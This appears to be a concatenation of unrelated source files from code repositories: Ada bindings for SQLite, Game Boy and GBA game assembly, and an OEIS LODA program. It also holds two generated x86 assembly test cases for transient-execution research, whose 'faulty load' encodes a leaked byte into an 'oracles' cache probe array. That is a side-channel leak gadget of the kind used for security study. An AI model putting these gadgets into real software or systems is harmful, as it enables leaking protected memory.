Xa := Integer (This.Glyphs (Index).X_Advance);
Ctx.Move_To (Org + Point_T'(Xa, 0));
end Print_Glyph;
---------------
-- Y_Advance --
---------------
overriding function Y_Advance (This : Bitmap_Font) return Integer is
begin
return Integer (This.Y_Advance);
end Y_Advance;
end Giza.Bitmap_Fonts;
|
data/tilesets/door_tile_ids.asm | opiter09/ASM-Machina | 1 | 6146 | DoorTileIDPointers:
dbw OVERWORLD, .OverworldDoorTileIDs
dbw FOREST, .ForestDoorTileIDs
dbw MART, .MartDoorTileIDs
dbw HOUSE, .HouseDoorTileIDs
dbw FOREST_GATE, .TilesetMuseumDoorTileIDs
dbw MUSEUM, .TilesetMuseumDoorTileIDs
dbw GATE, .TilesetMuseumDoorTileIDs
dbw SHIP, .ShipDoorTileIDs
dbw LOBBY, .LobbyDoorTileIDs
dbw MANSION, .MansionDoorTileIDs
dbw LAB, .LabDoorTileIDs
dbw FACILITY, .FacilityDoorTileIDs
dbw PLATEAU, .PlateauDoorTileIDs
db -1 ; end
door_tiles: MACRO
IF _NARG
db \# ; all args
ENDC
db 0 ; end
ENDM
.OverworldDoorTileIDs:
door_tiles $1B, $58
.ForestDoorTileIDs:
door_tiles $3a
.MartDoorTileIDs:
door_tiles $5e
.HouseDoorTileIDs:
door_tiles $54
.TilesetMuseumDoorTileIDs:
door_tiles $3b
.ShipDoorTileIDs:
door_tiles $1e
.LobbyDoorTileIDs:
door_tiles $1c, $38, $1a
.MansionDoorTileIDs:
door_tiles $1a, $1c, $53
.LabDoorTileIDs:
door_tiles $34
.FacilityDoorTileIDs:
door_tiles $43, $58, $1b
.PlateauDoorTileIDs:
door_tiles $3b, $1b
|
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_1414.asm | ljhsiun2/medusa | 9 | 240713 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r8
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x10df1, %r15
nop
nop
nop
nop
nop
xor %rdx, %rdx
movb $0x61, (%r15)
nop
nop
nop
nop
nop
dec %r10
lea addresses_WC_ht+0x1ce71, %r8
nop
nop
nop
xor %rax, %rax
movups (%r8), %xmm7
vpextrq $0, %xmm7, %rdx
cmp %rdx, %rdx
lea addresses_normal_ht+0x167f9, %r15
mfence
movb $0x61, (%r15)
nop
nop
nop
nop
nop
sub %rax, %rax
lea addresses_WT_ht+0x41f1, %rax
and %r10, %r10
mov $0x6162636465666768, %rbx
movq %rbx, %xmm4
vmovups %ymm4, (%rax)
nop
nop
nop
nop
inc %rax
lea addresses_D_ht+0xd3c3, %rsi
lea addresses_UC_ht+0x5c51, %rdi
cmp %rbx, %rbx
mov $104, %rcx
rep movsb
nop
and %rsi, %rsi
lea addresses_normal_ht+0x65f1, %rsi
nop
nop
nop
add $56182, %r15
mov $0x6162636465666768, %r9
movq %r9, %xmm7
vmovups %ymm7, (%rsi)
inc %rsi
lea addresses_D_ht+0x15f1, %rsi
lea addresses_A_ht+0x1cd31, %rdi
nop
nop
nop
nop
nop
sub %r15, %r15
mov $117, %rcx
rep movsl
nop
nop
nop
cmp $51550, %r10
lea addresses_UC_ht+0x7e92, %rsi
nop
sub $27274, %rax
mov (%rsi), %bx
nop
nop
nop
nop
nop
cmp $20347, %r9
lea addresses_normal_ht+0x1b171, %rsi
lea addresses_UC_ht+0x15b69, %rdi
nop
nop
nop
nop
nop
xor $54560, %r10
mov $90, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %r9, %r9
lea addresses_A_ht+0x9269, %rsi
lea addresses_normal_ht+0x3801, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
cmp %r15, %r15
mov $94, %rcx
rep movsb
sub $20035, %r9
lea addresses_D_ht+0x7351, %rsi
lea addresses_WC_ht+0x16131, %rdi
nop
nop
and %r10, %r10
mov $10, %rcx
rep movsq
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WC_ht+0x1a9f1, %rsi
inc %r9
mov (%rsi), %r10d
nop
and $13172, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %r8
push %rbx
push %rcx
// Store
lea addresses_RW+0x83f1, %r11
nop
sub $44929, %r14
movl $0x51525354, (%r11)
nop
nop
add $56359, %r12
// Store
lea addresses_A+0x105f1, %rcx
clflush (%rcx)
nop
nop
nop
nop
sub $27618, %rbx
movb $0x51, (%rcx)
and $19055, %rcx
// Store
lea addresses_D+0xc5f1, %r8
clflush (%r8)
nop
nop
nop
nop
nop
sub %rcx, %rcx
mov $0x5152535455565758, %r14
movq %r14, %xmm1
movups %xmm1, (%r8)
nop
nop
nop
nop
nop
cmp $39442, %r11
// Load
lea addresses_D+0x1d5f1, %r14
nop
nop
nop
nop
sub $63662, %rcx
mov (%r14), %ebx
nop
nop
and %r11, %r11
// Faulty Load
lea addresses_UC+0x65f1, %rbx
xor %r13, %r13
movb (%rbx), %cl
lea oracles, %rbx
and $0xff, %rcx
shlq $12, %rcx
mov (%rbx,%rcx,1), %rcx
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 8, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
programs/oeis/052/A052910.asm | jmorken/loda | 1 | 100030 | ; A052910: Expansion of 1 + 2/(1-2*x-x^3).
; 1,2,4,8,18,40,88,194,428,944,2082,4592,10128,22338,49268,108664,239666,528600,1165864,2571394,5671388,12508640,27588674,60848736,134206112,296000898,652850532,1439907176,3175815250,7004481032,15448869240,34073553730,75151588492,165752046224,365577646178,806306880848,1778365807920,3922309262018,8650925404884,19080216617688,42082742497394,92816410399672,204713037417032,451508817331458,995834045062588,2196381127542208,4844271072415874
mul $0,2
mov $1,1
sub $1,$0
mov $2,1
lpb $0
sub $0,2
trn $1,$3
add $2,$3
add $3,$1
add $1,$2
add $1,$2
lpe
|
src/bindings/adabase-bindings-sqlite.ads | jrmarino/AdaBase | 30 | 62 | -- This file is covered by the Internet Software Consortium (ISC) License
-- Reference: ../../License.txt
--
-- Some of these definitions originate from the Matresha Project
-- http://forge.ada-ru.org/matreshka
-- Used with permission from <NAME> <<EMAIL>>
with System;
with Interfaces.C.Strings;
package AdaBase.Bindings.SQLite is
pragma Preelaborate;
package SYS renames System;
package IC renames Interfaces.C;
package ICS renames Interfaces.C.Strings;
------------------------
-- Type Definitions --
------------------------
type sql64 is new Interfaces.Integer_64;
type sqlite3 is limited private;
type sqlite3_Access is access all sqlite3;
pragma Convention (C, sqlite3_Access);
type sqlite3_stmt is limited private;
type sqlite3_stmt_Access is access all sqlite3_stmt;
pragma Convention (C, sqlite3_stmt_Access);
type sqlite3_destructor is access procedure (text : ICS.char_array_access);
pragma Convention (C, sqlite3_destructor);
---------------
-- Constants --
---------------
type enum_field_types is
(SQLITE_INTEGER,
SQLITE_FLOAT,
SQLITE_TEXT,
SQLITE_BLOB,
SQLITE_NULL);
pragma Convention (C, enum_field_types);
for enum_field_types use
(SQLITE_INTEGER => 1,
SQLITE_FLOAT => 2,
SQLITE_TEXT => 3,
SQLITE_BLOB => 4,
SQLITE_NULL => 5);
SQLITE_OK : constant := 0; -- Successful result
SQLITE_ROW : constant := 100; -- sqlite3_step() has another row ready
SQLITE_DONE : constant := 101; -- sqlite3_step() has finished executing
SQLITE_CONFIG_SINGLETHREAD : constant := 1; -- nil
SQLITE_CONFIG_MULTITHREAD : constant := 2; -- nil
SQLITE_CONFIG_SERIALIZED : constant := 3; -- nil
SQLITE_STATIC : constant IC.int := IC.int (0);
SQLITE_TRANSIENT : constant IC.int := IC.int (-1);
---------------------
-- Library Calls --
----------------------
-- For now, only support SQLITE_STATIC and SQLITE_TRANSIENT at the
-- cost of sqlite3_destructor. Shame on them mixing pointers and integers
-- Applies to bind_text and bind_blob
function sqlite3_bind_text (Handle : sqlite3_stmt_Access;
Index : IC.int;
Text : ICS.chars_ptr;
nBytes : IC.int;
destructor : IC.int) return IC.int;
pragma Import (C, sqlite3_bind_text);
function sqlite3_bind_blob (Handle : sqlite3_stmt_Access;
Index : IC.int;
binary : ICS.char_array_access;
nBytes : IC.int;
destructor : IC.int) return IC.int;
pragma Import (C, sqlite3_bind_blob);
function sqlite3_bind_double (Handle : not null sqlite3_stmt_Access;
Index : IC.int;
Value : IC.double) return IC.int;
pragma Import (C, sqlite3_bind_double);
function sqlite3_bind_int64 (Handle : not null sqlite3_stmt_Access;
Index : IC.int;
Value : sql64) return IC.int;
pragma Import (C, sqlite3_bind_int64);
function sqlite3_bind_null (Handle : not null sqlite3_stmt_Access;
Index : IC.int) return IC.int;
pragma Import (C, sqlite3_bind_null);
function sqlite3_bind_parameter_count
(Handle : not null sqlite3_stmt_Access) return IC.int;
pragma Import (C, sqlite3_bind_parameter_count);
function sqlite3_column_count (Handle : not null sqlite3_stmt_Access)
return IC.int;
pragma Import (C, sqlite3_column_count);
function sqlite3_column_table_name (Handle : not null sqlite3_stmt_Access;
index : IC.int) return ICS.chars_ptr;
pragma Import (C, sqlite3_column_table_name);
function sqlite3_column_name (Handle : not null sqlite3_stmt_Access;
index : IC.int) return ICS.chars_ptr;
pragma Import (C, sqlite3_column_name);
function sqlite3_column_origin_name (Handle : not null sqlite3_stmt_Access;
index : IC.int) return ICS.chars_ptr;
pragma Import (C, sqlite3_column_origin_name);
function sqlite3_column_database_name
(Handle : not null sqlite3_stmt_Access;
index : IC.int) return ICS.chars_ptr;
pragma Import (C, sqlite3_column_database_name);
function sqlite3_table_column_metadata
(Handle : not null sqlite3_Access;
dbname : ICS.chars_ptr;
table : ICS.chars_ptr;
column : ICS.chars_ptr;
datatype : access ICS.chars_ptr;
collseq : access ICS.chars_ptr;
notnull : access IC.int;
primekey : access IC.int;
autoinc : access IC.int) return IC.int;
pragma Import (C, sqlite3_table_column_metadata);
function sqlite3_close (db : not null sqlite3_Access) return IC.int;
pragma Import (C, sqlite3_close);
function sqlite3_column_type (Handle : not null sqlite3_stmt_Access;
iCol : IC.int) return IC.int;
pragma Import (C, sqlite3_column_type);
function sqlite3_column_bytes (Handle : not null sqlite3_stmt_Access;
iCol : IC.int) return IC.int;
pragma Import (C, sqlite3_column_bytes);
function sqlite3_column_double (Handle : not null sqlite3_stmt_Access;
iCol : IC.int) return IC.double;
pragma Import (C, sqlite3_column_double);
function sqlite3_column_int64 (Handle : not null sqlite3_stmt_Access;
iCol : IC.int) return sql64;
pragma Import (C, sqlite3_column_int64);
function sqlite3_column_text (Handle : not null sqlite3_stmt_Access;
iCol : IC.int) return ICS.chars_ptr;
pragma Import (C, sqlite3_column_text);
function sqlite3_column_blob (Handle : not null sqlite3_stmt_Access;
iCol : IC.int) return ICS.chars_ptr;
pragma Import (C, sqlite3_column_blob);
function sqlite3_config (Option : IC.int) return IC.int;
pragma Import (C, sqlite3_config);
function sqlite3_errmsg (db : not null sqlite3_Access) return ICS.chars_ptr;
pragma Import (C, sqlite3_errmsg);
function sqlite3_errcode (db : not null sqlite3_Access) return IC.int;
pragma Import (C, sqlite3_errcode);
function sqlite3_changes (db : not null sqlite3_Access) return IC.int;
pragma Import (C, sqlite3_changes);
function sqlite3_last_insert_rowid (db : not null sqlite3_Access)
return sql64;
pragma Import (C, sqlite3_last_insert_rowid);
function sqlite3_exec (db : not null sqlite3_Access;
sql : ICS.chars_ptr;
callback : System.Address;
firstarg : System.Address;
errmsg : System.Address) return IC.int;
pragma Import (C, sqlite3_exec);
function sqlite3_open (File_Name : ICS.chars_ptr;
Handle : not null access sqlite3_Access)
return IC.int;
pragma Import (C, sqlite3_open);
function sqlite3_prepare_v2 (db : not null sqlite3_Access;
zSql : ICS.chars_ptr;
nByte : IC.int;
ppStmt : not null access sqlite3_stmt_Access;
pzTail : not null access ICS.chars_ptr)
return IC.int;
pragma Import (C, sqlite3_prepare_v2);
function sqlite3_reset (pStmt : not null sqlite3_stmt_Access) return IC.int;
pragma Import (C, sqlite3_reset);
function sqlite3_step (Handle : not null sqlite3_stmt_Access) return IC.int;
pragma Import (C, sqlite3_step);
function sqlite3_finalize (Handle : not null sqlite3_stmt_Access)
return IC.int;
pragma Import (C, sqlite3_finalize);
function sqlite3_libversion return ICS.chars_ptr;
pragma Import (C, sqlite3_libversion);
function sqlite3_sourceid return ICS.chars_ptr;
pragma Import (C, sqlite3_sourceid);
function sqlite3_get_autocommit (db : not null sqlite3_Access)
return IC.int;
pragma Import (C, sqlite3_get_autocommit);
private
type sqlite3 is limited null record;
type sqlite3_stmt is limited null record;
end AdaBase.Bindings.SQLite;
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_891.asm | ljhsiun2/medusa | 9 | 82083 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x986d, %rsi
lea addresses_WC_ht+0x163ed, %rdi
nop
xor %rax, %rax
mov $13, %rcx
rep movsb
sub %r12, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r9
push %rbx
push %rdx
push %rsi
// Store
lea addresses_D+0xa2a9, %r10
nop
nop
nop
nop
nop
lfence
movw $0x5152, (%r10)
and %rdx, %rdx
// Faulty Load
lea addresses_WT+0xd46d, %rbx
nop
nop
cmp %r10, %r10
movb (%rbx), %r15b
lea oracles, %rsi
and $0xff, %r15
shlq $12, %r15
mov (%rsi,%r15,1), %r15
pop %rsi
pop %rdx
pop %rbx
pop %r9
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 2, 'AVXalign': True}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': True}}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
src/sound/song332restored.asm | MusicTheorist/Mother2GbaTranslation | 1 | 101879 |
song332restored_pri equ 100
song332restored_rev equ 0
song332restored_mvl equ 127
song332restored_key equ 0
song332restored_tbs equ 1
song332restored_exg equ 0
song332restored_cmp equ 1
.align 4
;**************** Track 1 (Midi-Chn.7) ****************;
@song332restored_1:
.byte KEYSH , song332restored_key+0
; 000 ----------------------------------------
.byte VOICE , 14
.byte MODT , 0
.byte LFOS , 44
.byte PAN , c_v+0
.byte VOL , 81*song332restored_mvl/mxv
.byte BENDR , 12
.byte PAN , c_v+0
.byte VOL , 81*song332restored_mvl/mxv
.byte 81*song332restored_mvl/mxv
.byte PAN , c_v+0
.byte BENDR , 12
.byte PAN , c_v+0
.byte VOL , 81*song332restored_mvl/mxv
.byte 81*song332restored_mvl/mxv
.byte PAN , c_v+0
.byte BENDR , 12
.byte PAN , c_v+0
.byte VOL , 81*song332restored_mvl/mxv
.byte BEND , c_v+22
.byte N32 , Cn0 , v088
.byte W02
.byte BEND , c_v+40
.byte W02
.byte c_v+52
.byte W01
.byte c_v+40
.byte W02
.byte c_v+28
.byte W01
.byte c_v+22
.byte W02
.byte c_v+10
.byte W02
.byte VOL , 65*song332restored_mvl/mxv
.byte BEND , c_v-7
.byte W01
.byte c_v-19
.byte W02
.byte c_v-30
.byte W01
.byte c_v-42
.byte W02
.byte c_v-48
.byte W02
.byte c_v-60
.byte W01
.byte c_v-1
.byte W02
.byte c_v-7
.byte W01
.byte c_v-19
.byte W02
.byte VOL , 50*song332restored_mvl/mxv
.byte BEND , c_v-30
.byte W02
.byte c_v-42
.byte W01
.byte c_v-48
.byte W02
.byte c_v-60
.byte W05
.byte VOL , 0*song332restored_mvl/mxv
.byte PAN , c_v-64
.byte W60
; 001 ----------------------------------------
.byte W92
.byte W03
.byte VOICE , 14
.byte VOL , 81*song332restored_mvl/mxv
.byte PAN , c_v+0
.byte BEND , c_v-1
.byte W01
; 002 ----------------------------------------
.byte VOICE , 14
.byte BENDR , 12
.byte 12
.byte BEND , c_v-60
.byte FINE
;**************** Track 2 (Midi-Chn.8) ****************;
@song332restored_2:
.byte KEYSH , song332restored_key+0
; 000 ----------------------------------------
.byte VOICE , 14
.byte MODT , 0
.byte LFOS , 44
.byte PAN , c_v-20
.byte VOL , 78*song332restored_mvl/mxv
.byte BENDR , 12
.byte PAN , c_v-20
.byte VOL , 78*song332restored_mvl/mxv
.byte 78*song332restored_mvl/mxv
.byte PAN , c_v-20
.byte BENDR , 12
.byte PAN , c_v-20
.byte VOL , 78*song332restored_mvl/mxv
.byte 78*song332restored_mvl/mxv
.byte PAN , c_v-20
.byte BENDR , 12
.byte PAN , c_v-20
.byte VOL , 78*song332restored_mvl/mxv
.byte BEND , c_v+0
.byte N32 , Cn1 , v088
.byte W01
.byte BEND , c_v+23
.byte W03
.byte c_v+41
.byte W02
.byte c_v+52
.byte W02
.byte c_v+41
.byte W03
.byte c_v+28
.byte W02
.byte c_v+23
.byte W03
.byte c_v+10
.byte W02
.byte VOL , 72*song332restored_mvl/mxv
.byte PAN , c_v-21
.byte BEND , c_v-7
.byte W02
.byte c_v-18
.byte W03
.byte c_v-30
.byte W02
.byte c_v-42
.byte W03
.byte VOL , 61*song332restored_mvl/mxv
.byte PAN , c_v-20
.byte BEND , c_v-48
.byte W02
.byte c_v-60
.byte W02
.byte c_v-1
.byte N16 , Cn0
.byte W03
.byte VOL , 54*song332restored_mvl/mxv
.byte PAN , c_v-7
.byte VOL , 50*song332restored_mvl/mxv
.byte PAN , c_v-21
.byte BEND , c_v-7
.byte W02
.byte c_v-19
.byte W03
.byte VOL , 39*song332restored_mvl/mxv
.byte PAN , c_v-32
.byte BEND , c_v-30
.byte W02
.byte c_v-42
.byte W02
.byte VOL , 31*song332restored_mvl/mxv
.byte PAN , c_v-18
.byte BEND , c_v-48
.byte W03
.byte c_v-60
.byte W05
.byte VOL , 65*song332restored_mvl/mxv
.byte PAN , c_v+0
.byte W44
; 001 ----------------------------------------
.byte W92
.byte W03
.byte VOICE , 14
.byte VOL , 78*song332restored_mvl/mxv
.byte PAN , c_v-20
.byte BEND , c_v+0
.byte W01
; 002 ----------------------------------------
.byte VOICE , 14
.byte BENDR , 12
.byte PAN , c_v+0
.byte VOL , 65*song332restored_mvl/mxv
.byte BENDR , 12
.byte PAN , c_v+0
.byte VOL , 65*song332restored_mvl/mxv
.byte BEND , c_v-60
.byte FINE
;******************************************************;
.align 4
song332restored:
.byte 2 ; NumTrks
.byte 0 ; NumBlks
.byte song332restored_pri ; Priority
.byte song332restored_rev ; Reverb.
//emit_clean_voicegroup_offset_for_song 332
.word 0x81071B4 //Voice Table
.word @song332restored_1
